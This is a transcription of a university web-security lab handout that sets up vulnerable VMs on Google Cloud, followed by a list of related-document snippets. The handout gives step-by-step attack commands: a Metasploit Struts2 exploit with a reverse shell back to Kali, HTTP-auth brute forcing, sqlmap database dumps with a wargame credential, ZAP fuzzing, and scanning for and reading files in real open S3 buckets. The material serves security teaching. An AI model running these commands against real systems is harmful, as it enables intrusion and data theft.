CS 410/510: Web Security X1: Labs Setup WFP1, WFP2, and Kali VMs on Google Cloud
|
|
- Sophia Melton
- 5 years ago
- Views:
Transcription
1 CS 410/510: Web Security X1: Labs Setup WFP1, WFP2, and Kali VMs on Google Cloud Go to Google Cloud Console => Compute Engine => VM instances => Create Instance For the Boot Disk, click "Change", then in the upper tab click "Custom images". In drop-down select cs410fall17 (famous-empire ) Select the image ( wfp1 / wfp2 / kalivm ). Enable HTTP for each VM Note that one of the Metasploit exploits we will be running will force a server to spawn a shell and send it back to port 80 on the Kali VM Login credentials wfp1 and wfp2 => wfp : wfp kali => root : cs Note that there is an IP address access control that only allows requests from IP address ranges within your Google Cloud VM (10.x.x.x) addresses or from PSU ( x.x) Note both the external and internal IP address of each instance. We will be using the internal IP address for the attacks, but will need to connect via the external IP addresses initially. wfp1_external_ip, wfp1_internal_ip wfp2_external_ip, wfp2_internal_ip ssh into your kalivm instance and change the root password ssh root@< kali_external_ip> Then, when logged in: type passwd Metasploit Apache Struts2 on Google Cloud Create a vulnerable Apache Struts2 instance on Google Cloud Platform Install a Ubuntu VM Enable HTTP Note both the external and internal IP address of the instance ( struts2_external_ip / struts2_internal_ip ) Install docker on the VM curl -fssl sudo apt-key add -
2 sudo add-apt-repository "deb [arch=amd64] $(lsb_release -cs) stable" sudo apt-get update sudo apt-get install -y docker-ce Run the vulnerable Apache Struts2 container Note that the vulnerable container puts the web site on port The docker command remaps it to port 80 on the host VM sudo docker run -p 80:8080 -it piesecurity/apache-struts2-cve :latest Test the instance by visiting From a linuxlab terminal, ssh into the Kali VM ssh root@<kali_external_ip> ( password is cs410510) Launch Metasploit via the shell ( msfconsole ) Type search struts2 to find Struts2 vulnerabilities Find the one that compromised Equifax (March 7, 2017) and type in the use command Command should be like use exploit/multi/http/struts2_ Set the target IP address and port of vulnerable Struts2 instance set RHOST <struts2_internal_ip> set RPORT 80 Set the target URI for the exploit set TARGETURI /showcase Set and configure the payload you want to execute after exploitation In this case, we will invoke a shell and connect it back up to port 80 of our Kali VM set PAYLOAD linux/x64/shell/reverse_tcp set LHOST <kali_internal_ip> set LPORT 80 show options
3 Run the exploit exploit A shell session is given that allows you to execute commands on the vulnerable container Record the screenshots in your lab notebook
4 Metasploit WFP on Google Cloud From a linuxlab terminal, ssh into the Kali VM Directory scan on WFP1 Load the dir_scanner script msf > use auxiliary/scanner/http/dir_scanner Show which file is being used for the credentials msf > show options Set the target to your WFP1 instance msf auxiliary(dir_scanner) > set RHOSTS <wfp1_internal_ip> Run the attack msf auxiliary(dir_scanner) > exploit Show the results in your lab notebook Brute-force HTTP auth on WFP2 Load the http_login brute-force script msf > use auxiliary/scanner/http/http_login Set the target to your WFP2 instance msf auxiliary(http_login) > set RHOSTS <wfp2_internal_ip> Set the URI to Authentication #1 msf auxiliary(http_login) > set AUTH_URI /authentication/example1/ Run the attack msf auxiliary(http_login) > exploit Scroll up to find successful login Note, to only show the result, do the following and then re-run msf auxiliary(http_login) > set VERBOSE false sqlmap on Google Cloud From Kali VM WFP1 SQL injection #1 Run sqlmap on first SQL injection example sqlmap -u ' --batch --dbms mysql --dump List the injection points discovered and the payloads used to exploit them. Show the dump of the user table WFP1 SQL injection #2
5 In this exercise, spaces are removed. One can use built-in tamper scripts in sqlmap to substitute other white space characters such as tab or newline In addition, sqlmap can dump the entire database using blind injection with a time-based metric. Run all tests and output the results sqlmap -u ' --dbms mysql --dump --tamper=space2randomblank natas15 Blind SQL injection (Try this at off peak time when no one is using it) In this exercise, the server code below queries the backend database table to determine if a user exists. Unfortunately, it is injectable. While it will not give out any contents of the database directly, it is vulnerable to a blind attack
6 One can write a Python program (as you did in Program #1) to find the password for natas16 and as described in the course slides. However, sqlmap can perform the attack automatically for you. Solve this level via sqlmap by issuing the following sqlmap -u ' --auth-type basic --auth-cred natas15:awwj0w5cvxrziongz9j5stnvkmxdk39j --data username=foo --dbms mysql --dump --level 2 --batch --time-sec 1 The meaning of the flags is as follows: '--auth-type', '--auth-cred': Lets sqlmap log into the challenge via Basic-Auth '--data': Tells sqlmap that you want it to try to inject into the POST parameter username.
7 Hydra On Kali VM '--dbms': For efficiency, tell sqlmap the backend. '--dump': Dump the all the information in all tables. '--level': Setting this above 1 (max 5) tells sqlmap to try more attack-types and payloads. The payload we need isn't included at level 1, so we'll set this to 2. '--batch': Tells sqlmap not to prompt us with questions, and just use the default behavior. '--time-sec': Sleep time to inject when doing timing-based attacks. You might need to raise this if your connection to the natas server is overloaded. The attack takes about ten minutes to run, much of which is due to sqlmap dumping the entire user database with a time-based attack. Use Hydra and the Mirai username and password lists in /usr/share/wordlists/metasploit to automatically search for the credentials of the Authentication #1 level of Web For Pentester II Use the -L flag to specify a file of usernames Use the -P flag to specify a file of passwords HTTP GET URLs can be specified as http-get://<wfp2_internal_ip>/authentication/example1 Re-run command using the -V flag to see the list of credentials checked
8 Additional linuxlab exercises are for CS 510 students to complete Kali VM Setup on linuxlab Install on linuxlab Download the Kali VM image via BitTorrent Get the torrent file wget ali-linux vbox-amd64.torrent Open it in BitTorrent client deluge deluge./kali-linux vbox-amd64.torrent Click on Options, then click on Download Location drop-down, select Other... Select scratch or /disk/trump/scratch to save Click on + Add If above doesn t work then you can copy the file directly from /u/wuchang/kali-linux vbox-amd64.ova Import appliance into VirtualBox Launch VirtualBox Under File => Import Appliance Change the Virtual Disk Image path to /disk/trump/scratch/kali-linux vbox-amd64/kali-linux vbox-amd64-disk001.vmdk In Settings => Display, uncheck Enable 3D Acceleration Bring up VM, login as root with password toor Launch a terminal and change your password via passwd command
9 wpscan Within KaliVM on linuxlab Run wpscan against Pentesterlab s vulnerable WordPress ISO On a local VM via the ISO at Or against Prof.Wu s own version of it at Click on Y for the update Click on N to follow the redirection zap Within Kali VM, launch zaproxy in a terminal Click on Accept for the license, then click Yes...I want to persist.. Within Kali VM, set up Firefox to use zaproxy as its HTTP proxy Start Firefox with the profile option in the background firefox -P & Create Profile called zap and Start Firefox with it In the URL window, type about:preferences Goto Advanced => Network (tab) => Connection (Settings ) Click Manual proxy and set HTTP Proxy to localhost and Port to 8080 (This is the default port that zap listens to)
10 Visit one of the WFP servers on Google Cloud with firefox and verify that it shows up in zap s history window.
11 Visit SQL example #1 Right-click the request in the zap history window and click Attack=>Fuzz Highlight root in the URL and Add it to Fuzz Locations on the right
12 Click on Add to set payload to fuzz the field with, select File Fuzzers, expand jbrofuzz, click SQL Injection, then click Add Start the Fuzzer Sort by the size of the response body to find all strings that returned the entire user database Repeat for another SQL example of your choice Visit XSS example #1 In zap history, right-click URL and click Attack=>Active Scan Click on Show advanced options and then on Input Vectors tab, then deselect POST Data Start scan and find the Cross Site Scripting alert in Alerts tab Visit Google s XSS firing range Click on Reflected XSS, then Parameter - Body In zap s history, right-click on the GET request from the link, then select Attack=>Active Scan Click on Show advanced options and then on Input Vectors tab, select URL Query String and deselect all others In the Policy tab, set the Threshold of all Tests to OFF except for Cross Site Scripting which you set to LOW. Start Scan Click on the Alerts tab above the bottom window of zap. Click on the Alert for the URL and show the attack vector that was used to generate the alert. Visit WebScanTest Click on OS Command Inject Tests at the bottom Click on This is vulnerable to cmd inject Lookup a name in form Bring up request in zap s history and right-click the POST request Click Attack=>Active Scan Select Input Vectors, deselect URL Query String, and select POST Data (since form takes input as POST) Select Policy tab and then Injection. Under Threshold column, turn everything to OFF except
13 Remote OS Command Injection which should be set to Low. In the Strength column for this row, select Low as well. Start scan Sort results by response size and list the request and response of the top result w3af Install On linuxlab rsync -a /u/wuchang/w3af./ cd w3af source env/bin/activate./w3af_console Run w3af_console on your Web for Pentester 1 instance Documentation at Use tool to identify vulnerabilities in two different OWASP categories automatically Include a screenshot of each one
14 Run one successful XSS scan in w3af_console on Google s firing range bucket-stream Install tool on linuxlab git clone cd bucket-stream virtualenv -p python3 env source env/bin/activate pip3 install -r requirements.txt python3 bucket-stream.py Run the tool across at least 5000 buckets If an open S3 bucket is found, visit its URL in a browser to obtain the bucket's manifest Then, find a file key within the manifest and append it to the end of the bucket's URL to directly access the file Show a screenshot of the file key in the manifest (manifest is what you get when you hit the URL it finds) Show the contents of the file via direct access within bucket (Within the manifest are the "keys" you can append to download the files directly) Note: If you don t find any open buckets within 5000 buckets, restart it at a later time.
CyberP3i Hands-on Lab Series
CyberP3i Hands-on Lab Series Lab Series using NETLAB Designer: Dr. Lixin Wang, Associate Professor Hands-On Lab for Application Attacks The NDG Security+ Pod Topology Is Used 1. Introduction In this lab,
Advanced Penetration Testing
Advanced Penetration Testing Additional Insights from Georgia Weidman More Guessable Credentials: Apache Tomcat In the course we looked at specific examples of vulnerabilities. My goal was to cover as
Penetration Testing with Kali Linux
Penetration Testing with Kali Linux PWK Copyright Offensive Security Ltd. All rights reserved. Page 1 of 11 All rights reserved to Offensive Security No part of this publication, in whole or in part, may
Web Penetration Testing
Web Penetration Testing What is a Website How to hack a Website? Computer with OS and some servers. Apache, MySQL...etc Contains web application. PHP, Python...etc Web application is executed here and
3. Apache Server Vulnerability Identification and Analysis
1. Target Identification The pentester uses netdiscover to identify the target: root@kali:~# netdiscover -r 192.168.0.0/24 Target: 192.168.0.48 (Cadmus Computer Systems) Note: the victim IP address changes
Web vulnerability scanning and exploitation tools
Web vulnerability scanning and exploitation tools Scaling vulnerability scanning Companies with 1000+ web applications running Move to m-services architectures making things worse Huge shortage of skilled
Installing MediaWiki using VirtualBox
Installing MediaWiki using VirtualBox Install VirtualBox with your package manager or download it from the https://www.virtualbox.org/ website and follow the installation instructions. Load an Image For
Getting Started with the Google Cloud SDK on ThingsPro 2.0 to Publish Modbus Data and Subscribe to Cloud Services
to Publish Modbus Data and Subscribe to Cloud Services Contents Moxa Technical Support Team support@moxa.com 1 Introduction... 2 2 Application Scenario... 2 3 Prerequisites... 3 4 Solution... 3 4.1 Set
CS155: Computer Security Spring Project #1
CS155: Computer Security Spring 2018 Project #1 Due: Part 1: Thursday, April 12-11:59pm, Parts 2 and 3: Thursday, April 19-11:59pm. The goal of this assignment is to gain hands-on experience finding vulnerabilities
Lab 5: Web Attacks using Burp Suite
Lab 5: Web Attacks using Burp Suite Aim The aim of this lab is to provide a foundation in performing security testing of web applications using Burp Suite and its various tools. Burp Suite and its tools
CIS 76 Ethical Hacking Building an open source Pentest Sandbox, carrying out a Remote Code Execution exploit, and Remediating the RCE vulnerability.
CIS 76 Ethical Hacking Building an open source Pentest Sandbox, carrying out a Remote Code Execution exploit, and Remediating the RCE vulnerability. Ryan Borden December 3, 2017 Contact: ryanborden81@gmail.com
We want to install putty, an ssh client on the laptops. In the web browser goto:
We want to install putty, an ssh client on the laptops. In the web browser goto: www.chiark.greenend.org.uk/~sgtatham/putty/download.html Under Alternative binary files grab 32 bit putty.exe and put it
Vulnerability Assessment using Nessus
Vulnerability Assessment using Nessus What you need Computer with VirtualBox. You can use any host OS you like, and if you prefer to use some other virtual machine software like VMware or Xen, that s fine
Lab 3: Introduction to Metasploit
Lab 3: Introduction to Metasploit Aim: The airm of this lab is to develop and execute exploits against a remote machine and test its vulnerabilities using Metasploit. Quick tool introduction: Metasploit
Downloading and installing Db2 Developer Community Edition on Ubuntu Linux Roger E. Sanders Yujing Ke Published on October 24, 2018
Downloading and installing Db2 Developer Community Edition on Ubuntu Linux Roger E. Sanders Yujing Ke Published on October 24, 2018 This guide will help you download and install IBM Db2 software, Data
Python web frameworks
Flask Python web frameworks Django Roughly follows MVC pattern Steeper learning curve. Flask Initially an April Fools joke Micro -framework: minimal approach. Smaller learning curve http://flask.pocoo.org/docs/0.12/quickstart/#a-minimalapplication
Web Application Penetration Testing
Web Application Penetration Testing COURSE BROCHURE & SYLLABUS Course Overview Web Application penetration Testing (WAPT) is the Security testing techniques for vulnerabilities or security holes in corporate
Metasploit. Installation Guide Release 4.4
Metasploit Installation Guide Release 4.4 TABLE OF CONTENTS About this Guide Target Audience...1 Organization...1 Document Conventions...1 Support...2 Support for Metasploit Pro and Metasploit Express...2
CIS 700/002 : Special Topics : OWASP ZED (ZAP)
CIS 700/002 : Special Topics : OWASP ZED (ZAP) Hitali Sheth CIS 700/002: Security of EMBS/CPS/IoT Department of Computer and Information Science School of Engineering and Applied Science University of
Deploy and Secure an Internet Facing Application with the Barracuda Web Application Firewall in Amazon Web Services
Deploy and Secure an Internet Facing Application with the in Amazon Web In this lab, you will deploy an unsecure web application into Amazon Web (AWS), and then secure the application using the. To create
Jacksonville Linux User Group Presenter: Travis Phillips Date: 02/20/2013
Jacksonville Linux User Group Presenter: Travis Phillips Date: 02/20/2013 Welcome Back! A Quick Recap of the Last Presentation: Overview of web technologies. What it is. How it works. Why it s attractive
GAUTAM SINGH STUDY MATERIAL SOFTWARE QUALITY Unit 17. Metasploit
Unit 17. Metasploit Metasploit is one of the most powerful tools used for penetration testing. Most of its resources can be found at www.metasploit.com. It comes in two versions: commercial and free edition.
Testing from the Cloud: Is the sky falling?
Austin, Feb 2012 The OWASP Foundation http://www.owasp.org Testing from the Cloud: Is the sky falling? Matt Tesauro OWASP Foundation Board Member, WTE Project Lead matt.tesauro@owasp.org Rackspace Application
A framework to 0wn the Web - part I -
A framework to 0wn the Web - part I - Andrés Riancho andres@bonsai-sec.com SecTor Toronto, Canada - 2009 Copyright 2008 CYBSEC. All rights reserved. andres@bonsai-sec:~$ whoami Web Application Security
Module 1: Penetration Testing Planning and Scoping. Module 2: Basic Usage of Linux and its services
Following topics will be covered: Module 1: Penetration Testing Planning and Scoping - Types of penetration testing and ethical hacking projects - Penetration testing methodology - Limitations and benefits
Installing Oxwall completely in Amazon Cloud
Contents Installing Oxwall completely in Amazon Cloud... 1 PART 1 Creating AWS Instance... 1 Section 1 Security Group... 1 Section 2 - A LAMP-friendly instance... 2 Section 3 - The Elastic IP... 5 PART
C o n t e n t S i n D e ta i l FOrewOrd by Matt Graeber xii PreFaCe xvii C# CraSH COurSe FuzzinG and exploiting xss and SQL injection
Foreword by Matt Graeber xii Preface xvii Why Should I Trust Mono?... xviii Who Is This Book For?... xviii Organization of This Book... xix Acknowledgments... xxi A Final Note... xxi 1 C# Crash Course
Evaluating Website Security with Penetration Testing Methodology
Evaluating Website Security with Penetration Testing Methodology D. Menoski, P. Mitrevski and T. Dimovski St. Clement of Ohrid University in Bitola/Faculty of Technical Sciences, Bitola, Republic of Macedonia
Preparing Your Google Cloud VM for W4705
Preparing Your Google Cloud VM for W4705 August 27, 2017 1. Get a cloud.cs.columbia.edu account 1. Sign up for a cloud Columbia CS account using this link. Note that is is an entirely new account and is
Computer Security Coursework Exercise CW1 Web Server and Application Security
Computer Security Coursework Exercise CW1 Web Server and Application Security In this coursework exercise we will guide you through an attack against a vulnerable machine. You will take the role of Mallet
Download and install MySQL server 8 in Windows. Step1: Download windows installer
Download and install MySQL server 8 in Windows Step1: Download windows installer Step 2: Select Developer Default setup type Step 3: Installation Choose Legacy Authentication Method Step 4: Configuration
An introduction to Docker
An introduction to Docker Ing. Vincenzo Maffione Operating Systems Security Container technologies on Linux Several light virtualization technologies are available for Linux They build on cgroups, namespaces
Cloud Computing II. Exercises
Cloud Computing II Exercises Exercise 1 Creating a Private Cloud Overview In this exercise, you will install and configure a private cloud using OpenStack. This will be accomplished using a singlenode
CONTENTS IN DETAIL. FOREWORD by HD Moore ACKNOWLEDGMENTS INTRODUCTION 1 THE ABSOLUTE BASICS OF PENETRATION TESTING 1 2 METASPLOIT BASICS 7
CONTENTS IN DETAIL FOREWORD by HD Moore xiii PREFACE xvii ACKNOWLEDGMENTS xix Special Thanks... xx INTRODUCTION xxi Why Do A Penetration Test?... xxii Why Metasploit?... xxii A Brief History of Metasploit...
Barracuda Web Application Firewall Foundation - WAF01. Lab Guide
Barracuda Web Application Firewall Foundation - WAF01 Lab Guide Official training material for Barracuda certified trainings and Autorized Training Centers. Edition 2018 Revision 1.0 campus.barracuda.com
OPENSTACK CLOUD RUNNING IN A VIRTUAL MACHINE. In Preferences, add 3 Host-only Ethernet Adapters with the following IP Addresses:
OPENSTACK CLOUD RUNNING IN A VIRTUAL MACHINE VirtualBox Install VirtualBox In Preferences, add 3 Host-only Ethernet Adapters with the following IP Addresses: 192.168.1.2/24 192.168.2.2/24 192.168.3.2/24
(System) Integrity attacks System Abuse, Malicious File upload, SQL Injection
Pattern Recognition and Applications Lab (System) Integrity attacks System Abuse, Malicious File upload, SQL Injection Igino Corona igino.corona (at) diee.unica.it Computer Security April 9, 2018 Department
java -jar Xmx2048mb /Applications/burpsuite_pro_v1.5.jar
Training: An Introduction to Burp Suite Part One By Mike Sheward Burp suite provides a solid platform for launching a web application security assessment. In this guide we re going to introduce the features
HHC 2017 writeup, by RedTeam611
HHC 2017 writeup, by RedTeam611 After you complete the terminal challenges in the snowball games you will then move onto the web server challenges. Our first task to is to investigate the Letters to Santa
Alarm Counter. A Ceilometer OpenStack Application
Alarm Counter A Ceilometer OpenStack Application Tejas Tovinkere Pattabhi UTD VOLUNTEER AT AWARD SOLUTIONS Summer 2015 Contents Alarm Counter 1 Introduction...2 2 Pre-Requisites...2 2.1 Server Creation...
Web Attacks Lab. 35 Points Group Lab Due Date: Lesson 16
CS482 SQL and XSS Attack Lab AY172 1 Web Attacks Lab 35 Points Group Lab Due Date: Lesson 16 Derived from c 2006-2014 Wenliang Du, Syracuse University. Do not redistribute with explicit consent from MAJ
Attacks Against Websites 3 The OWASP Top 10. Tom Chothia Computer Security, Lecture 14
Attacks Against Websites 3 The OWASP Top 10 Tom Chothia Computer Security, Lecture 14 OWASP top 10. The Open Web Application Security Project Open public effort to improve web security: Many useful documents.
w3af - Web application attack and audit framework Documentation
w3af - Web application attack and audit framework Documentation Release 1.7.6 Andres Riancho Nov 27, 2017 Contents 1 Contents 3 1.1 Installation................................................ 3 1.2 Advanced
Lab 2 Third Party API Integration, Cloud Deployment & Benchmarking
Lab 2 Third Party API Integration, Cloud Deployment & Benchmarking In lab 1, you have setup the web framework and the crawler. In this lab, you will complete the deployment flow for launching a web application
Setting up Docker Datacenter on VMware Fusion
Setting up Docker Datacenter on VMware Fusion With the release of Docker Datacenter, it seemed like a good idea to kick the tires on this new system to get a handle on what the experience is like installing,
AUTHOR CONTACT DETAILS
AUTHOR CONTACT DETAILS Name Dinesh Shetty Organization Paladion Networks Email ID dinesh.shetty@paladion.net Penetration Testing with Metasploit Framework When i say "Penetration Testing tool" the first
Penetration Testing following OWASP. Boyan Yanchev Chief Technology Ofcer Peter Dimkov IS Consultant
Penetration Testing following OWASP Boyan Yanchev Chief Technology Ofcer Peter Dimkov IS Consultant За Лирекс Penetration testing A method of compromising the security of a computer system or network by
Lab 4: Metasploit Framework
CSC 5991 Cyber Security Practice Lab 4: Metasploit Framework Introduction If I had eight hours to chop down a tree, I d spend the first six of them sharpening my axe. -Abraham Lincoln In this lab, you
Web client programming
Web client programming JavaScript/AJAX Web requests with JavaScript/AJAX Needed for reverse-engineering homework site Web request via jquery JavaScript library jquery.ajax({ 'type': 'GET', 'url': 'http://vulnerable/ajax.php',
OpenStack Havana All-in-One lab on VMware Workstation
OpenStack Havana All-in-One lab on VMware Workstation With all of the popularity of OpenStack in general, and specifically with my other posts on deploying the Rackspace Private Cloud lab on VMware Workstation,
w3af - Web application attack and audit framework Documentation
w3af - Web application attack and audit framework Documentation Release 1.6.54 Andres Riancho June 11, 2015 Contents 1 Contents 3 1.1 Installation................................................ 3 1.2
GUI based and very easy to use, no security expertise required. Reporting in both HTML and RTF formats - Click here to view the sample report.
Report on IRONWASP Software Product: IronWASP Description of the Product: IronWASP (Iron Web application Advanced Security testing Platform) is an open source system for web application vulnerability testing.
Exercises. Cacti Installation and Configuration
Exercises Cacti Installation and Configuration Exercises Your Mission... Install Cacti Create device entry for your local router Create device entries for your local servers Create entries for class router
Exercises. Cacti Installation and Configuration
Exercises Cacti Installation and Configuration Exercises Your Mission... Install Cacti Create device entry for your local router Create device entries for your local servers Create entries for class router
Perslink Security. Perslink Security. Eleonora Petridou Pascal Cuylaerts. System And Network Engineering University of Amsterdam.
Eleonora Petridou Pascal Cuylaerts System And Network Engineering University of Amsterdam June 30, 2011 Outline Research question About Perslink Approach Manual inspection Automated tests Vulnerabilities
Bitnami Ruby for Huawei Enterprise Cloud
Bitnami Ruby for Huawei Enterprise Cloud Description Bitnami Ruby Stack provides a complete development environment for Ruby on Rails that can be deployed in one click. It includes most popular components
Testing from the Cloud: Is the sky falling?
AppSec USA 2011 The OWASP Foundation http://www.owasp.org Testing from the Cloud: Is the sky falling? Matt Tesauro OWASP Foundation Board Member, WTE Project Lead matt.tesauro@owasp.org In between Jobs
Certified Secure Web Application Engineer
Certified Secure Web Application Engineer ACCREDITATIONS EXAM INFORMATION The Certified Secure Web Application Engineer exam is taken online through Mile2 s Assessment and Certification System ( MACS ),
Lab E2: bypassing authentication and resetting passwords
Lab E2: bypassing authentication and resetting passwords TTM4175 September 7, 2015 The purpose of this lab is to learn about techniques for bypassing the authentication and access control of Windows and
WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang
WEB SECURITY WORKSHOP TEXSAW 2014 Presented by Solomon Boyd and Jiayang Wang Introduction and Background Targets Web Applications Web Pages Databases Goals Steal data Gain access to system Bypass authentication
Integrity attacks (from data to code): Malicious File upload, code execution, SQL Injection
Pattern Recognition and Applications Lab Integrity attacks (from data to code): Malicious File upload, code execution, SQL Injection Igino Corona igino.corona _at_ diee.unica.it Computer Security May 2nd,
Infoblox Kubernetes1.0.0 IPAM Plugin
2h DEPLOYMENT GUIDE Infoblox Kubernetes1.0.0 IPAM Plugin NIOS version 8.X August 2018 2018 Infoblox Inc. All rights reserved. Infoblox Kubernetes 1.0.0 IPAM Deployment Guide August 2018 Page 1 of 18 Overview...
Inception Cloud User s Guide
Inception Cloud User s Guide 1 Overview Creating an inception cloud consists of preparing your workstation, preparing the VM environment by adding a temporary boot-up machine, and then executing the orchestrator
Tensorflow/SyntaxNet. Installation Guide
Tensorflow/SyntaxNet Installation Guide Installation https://github.com/tensorflow/models/tree/master/research/syntaxnet 3 Possibilities - Manual Installation: takes 2 hours+, high chance of errors - Ubuntu
w3af - Web application attack and audit framework Documentation
w3af - Web application attack and audit framework Documentation Release 1.5 Andres Riancho March 27, 2014 Contents 1 Contents 3 1.1 Installation procedure.......................................... 3 1.2
CLEO VLTrader Made Simple Guide
CLEO VLTrader Made Simple Guide Table of Contents Quick Reference... 3 Miscellaneous Technical Notes... 3 CLEO VLTrader at a Glance... 3 Introduction... 5 Application Page Layout... 5 Preconfigured Hosts...
SQL Injection Attack Lab
SEED Labs SQL Injection Attack Lab 1 SQL Injection Attack Lab Copyright 2006-2016 Wenliang Du, Syracuse University. The development of this document was partially funded by the National Science Foundation
Ubuntu LTS Install Guide
Ubuntu 16.04.5 LTS Install Guide Sirenia September 17, 2018 Contents 1 Content 2 2 Login to server 2 3 Ensure access to repositories 3 4 Install Docker 3 5 Install Docker Compose 4 6 Pull software 4 7
CSC 564: SQL Injection Attack Programming Project
1 CSC 564: SQL Injection Attack Programming Project Sections copyright 2006-2016 Wenliang Du, Syracuse University. Portions of this document were partially funded by the National Science Foundation under
TangeloHub Documentation
TangeloHub Documentation Release None Kitware, Inc. September 21, 2015 Contents 1 User s Guide 3 1.1 Managing Data.............................................. 3 1.2 Running an Analysis...........................................
Bitnami JRuby for Huawei Enterprise Cloud
Bitnami JRuby for Huawei Enterprise Cloud Description JRuby is a 100% Java implementation of the Ruby programming language. It is Ruby for the JVM. JRuby provides a complete set of core built-in classes
Bitnami MEAN for Huawei Enterprise Cloud
Bitnami MEAN for Huawei Enterprise Cloud Description Bitnami MEAN Stack provides a complete development environment for mongodb and Node.js that can be deployed in one click. It includes the latest stable
Using RDP with Azure Linux Virtual Machines
Using RDP with Azure Linux Virtual Machines 1. Create a Linux Virtual Machine with Azure portal Create SSH key pair 1. Install Ubuntu Bash shell by downloading and running bash.exe file as administrator.
Hacking Our Way to Better Security: Lessons from a Web Application Penetration Test. Tyler Rasmussen Mercer Engineer Research Center
Hacking Our Way to Better Security: Lessons from a Web Application Penetration Test Tyler Rasmussen Mercer Engineer Research Center About Me Cybersecurity Engineering Intern @ MERC Senior IT/Cybersecurity
CSCI 350 Virtual Machine Setup Guide
CSCI 350 Virtual Machine Setup Guide This guide will take you through the steps needed to set up the virtual machine to do the PintOS project. Both Macintosh and Windows will run just fine. We have yet
HTTP request proxying vulnerability
HTTP request proxying vulnerability andres@laptop:~/$ curl http://twitter.com/?url=http://httpbin.org/useragent { "user-agent": "python-requests/1.2.3 CPython/2.7.3 Linux/3.2.0-48virtual" } andres@laptop:~/$
SQL Server vnext on Linux Ubuntu - Part 1
SQL Server vnext on Linux Ubuntu - Part 1 Built on SQL Server 2016, SQL Server vnext represents a major step towards making SQL Server a cross operating systems and bringing the power of SQL Server to
Lab 6: OWASP, Backdoors and Web Discovery
Lab 6: OWASP, Backdoors and Web Discovery Aim The first aim of this lab is to use Metasploit modules to exploit backdoor vulnerabilities on Metasploitable VM and get a shell. The second aim of this lab
CDX REPORT TEAM #8 JACOB CHAPMAN SNEHESH THALAPANENI DEVISHA SRIVASTAVA
CDX REPORT TEAM #8 JACOB CHAPMAN SNEHESH THALAPANENI DEVISHA SRIVASTAVA SANJAY ALEX KALLA HOSTING We installed Open VPN daemon, which can be used to securely link two or more private networks using an
Ftp Get Command Line Linux Proxy Settings Via
Ftp Get Command Line Linux Proxy Settings Via How to change system proxy settings from the command line on Ubuntu desktop gsettings get _schema key_ If you want to change HTTPS/FTP proxy to manual as well,
Module 14: SQL Injection
Module 14: SQL Injection Objective The objective of this lab is to provide expert knowledge on SQL Injection attacks and other responsibilities that include: Understanding when and how web application
Qualys Cloud Platform
Qualys Cloud Platform Quick Tour The Qualys Cloud Platform is a platform of integrated solutions that provides businesses with asset discovery, network security, web application security, threat protection
Web Security 2 https://www.xkcd.com/177/ http://xkcd.com/1323/ Encryption basics Plaintext message key secret Encryp)on Func)on Ciphertext Insecure network Decryp)on Func)on Curses! Foiled again! key Plaintext
Contents. Note: pay attention to where you are. Note: Plaintext version. Note: pay attention to where you are... 1 Note: Plaintext version...
Contents Note: pay attention to where you are........................................... 1 Note: Plaintext version................................................... 1 Hello World of the Bash shell 2 Accessing
1. Download the latest version of the Kali Linux 64 bit ISO image:
Ronny Bull Pen Testing Talk Pre-Lab: Virtual Machine Setup Lab Objectives: Configure VirtualBox to support Kali Linux LiveCD and Metasploitable 2 Configure Virtualbox networking to support both NAT Network
Bitnami MariaDB for Huawei Enterprise Cloud
Bitnami MariaDB for Huawei Enterprise Cloud First steps with the Bitnami MariaDB Stack Welcome to your new Bitnami application running on Huawei Enterprise Cloud! Here are a few questions (and answers!)
Lecture 7: Web hacking 3, SQL injection, Xpath injection, Server side template injection, File inclusion
IN5290 Ethical Hacking Lecture 7: Web hacking 3, SQL injection, Xpath injection, Server side template injection, File inclusion Universitetet i Oslo Laszlo Erdödi Lecture Overview What is SQL injection
Load Balancing Web Servers with OWASP Top 10 WAF in Azure
Load Balancing Web Servers with OWASP Top 10 WAF in Azure Quick Reference Guide v1.0.3 ABOUT THIS GUIDE This document provides a quick reference guide on how to load balance Web Servers and configure a
Application Security Introduction. Tara Gu IBM Product Security Incident Response Team
Application Security Introduction Tara Gu IBM Product Security Incident Response Team About Me - Tara Gu - tara.weiqing@gmail.com - Duke B.S.E Biomedical Engineering - Duke M.Eng Computer Engineering -
Cisco Modeling Labs OVA Installation
Prepare for an OVA File Installation, page 1 Download the Cisco Modeling Labs OVA File, page 2 Configure Security and Network Settings, page 2 Deploy the Cisco Modeling Labs OVA, page 12 Edit the Virtual
Creating a Yubikey MFA Service in AWS
Amazon AWS is a cloud based development environment with a goal to provide many options to companies wishing to leverage the power and convenience of cloud computing within their organisation. In 2013
W e b A p p l i c a t i o n S e c u r i t y : T h e D e v i l i s i n t h e D e t a i l s
W e b A p p l i c a t i o n S e c u r i t y : T h e D e v i l i s i n t h e D e t a i l s Session I of III JD Nir, Security Analyst Why is this important? ISE Proprietary Agenda About ISE Web Applications
Labtainer Student Guide
Labtainer Student Guide January 18, 2018 1 Introduction This manual is intended for use by students performing labs with Labtainers. Labtainers assume you have a Linux system, e.g., a virtual machine.
Load Balancing Nginx Web Servers with OWASP Top 10 WAF in Azure
Load Balancing Nginx Web Servers with OWASP Top 10 WAF in Azure Quick Reference Guide v1.0.2 ABOUT THIS GUIDE This document provides a quick reference guide on how to load balance Nginx Web Servers and
Singularity: container formats
Singularity Easy to install and configure Easy to run/use: no daemons no root works with scheduling systems User outside container == user inside container Access to host resources Mount (parts of) filesystems
Introduction to Ethical Hacking
Introduction to Ethical Hacking Summer University 2017 Seoul, Republic of Korea Alexandre Karlov Today Some tools for web attacks Wireshark How a writeup looks like 0x04 Tools for Web attacks Overview
Installation of the DigitalSystemsVM virtual machine
Installation of the DigitalSystemsVM virtual machine Notice This document explains how to install the DigitalSystemsVM virtual machine on a computer with Linux Ubuntu 16.04 LTS. If questions or problems
SUSE Cloud Admin Appliance Walk Through. You may download the SUSE Cloud Admin Appliance the following ways.
SUSE Cloud Admin Appliance Walk Through First before you proceed with deploying the Admin Appliance you must go through and answer the questionnaire to ensure you have an idea of the scope of the project
WebGoat Lab session overview
WebGoat Lab session overview Initial Setup Virtual Machine Tamper Data Web Goat Basics HTTP Basics Sniffing Web server attacks SQL Injection XSS INITIAL SETUP Tamper Data Hold alt to reveal the menu in
ULTEO OPEN VIRTUAL DESKTOP DEBIAN WHEEZY (7.0) SUPPORT
ULTEO OPEN VIRTUAL DESKTOP V4.0.2 DEBIAN WHEEZY (7.0) SUPPORT Contents 1 Prerequisites: Debian Wheezy (7.0) 3 1.1 System Requirements.............................. 3 2 Repository 4 2.1 Online Method..................................